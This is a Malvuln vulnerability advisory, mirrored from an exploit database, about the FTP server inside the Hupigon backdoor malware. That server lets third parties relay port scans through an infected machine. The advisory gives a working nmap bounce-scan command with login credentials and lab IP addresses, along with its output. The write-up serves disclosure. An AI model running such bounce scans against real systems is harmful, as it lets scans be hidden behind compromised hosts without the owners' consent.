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## https://sploitus.com/exploit?id=PACKETSTORM:164681
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/80b0fc8c0657c0ae7971f09af45c706b_B.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.afjk  
Vulnerability: Port Bounce Scan  
Description: The malware runs an FTP server "huigezi Ftp" that listens on TCP port 2121. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Type: PE32  
MD5: 80b0fc8c0657c0ae7971f09af45c706b  
Vuln ID: MVID-2021-0375  
Disclosure: 10/27/2021  
  
Exploit/PoC:  
nmap -n -Pn -b mal:vuln@192.168.18.125:2121 -p21,22,23,79,80,443 192.168.18.237 -v  
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-27 12:57 Pacific Daylight Time  
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).  
Attempting connection to ftp://mal:vuln@192.168.18.125:2121  
Connected:220 Welcome To huigezi Ftp!  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 12:58  
Discovered open port 80/tcp on 192.168.18.237  
Completed Bounce Scan at 12:58, 5.48s elapsed (6 total ports)  
Nmap scan report for 192.168.18.237  
Host is up.  
  
PORT STATE SERVICE  
21/tcp closed ftp  
22/tcp closed ssh  
23/tcp closed telnet  
79/tcp closed finger  
80/tcp open http  
443/tcp closed https  
  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).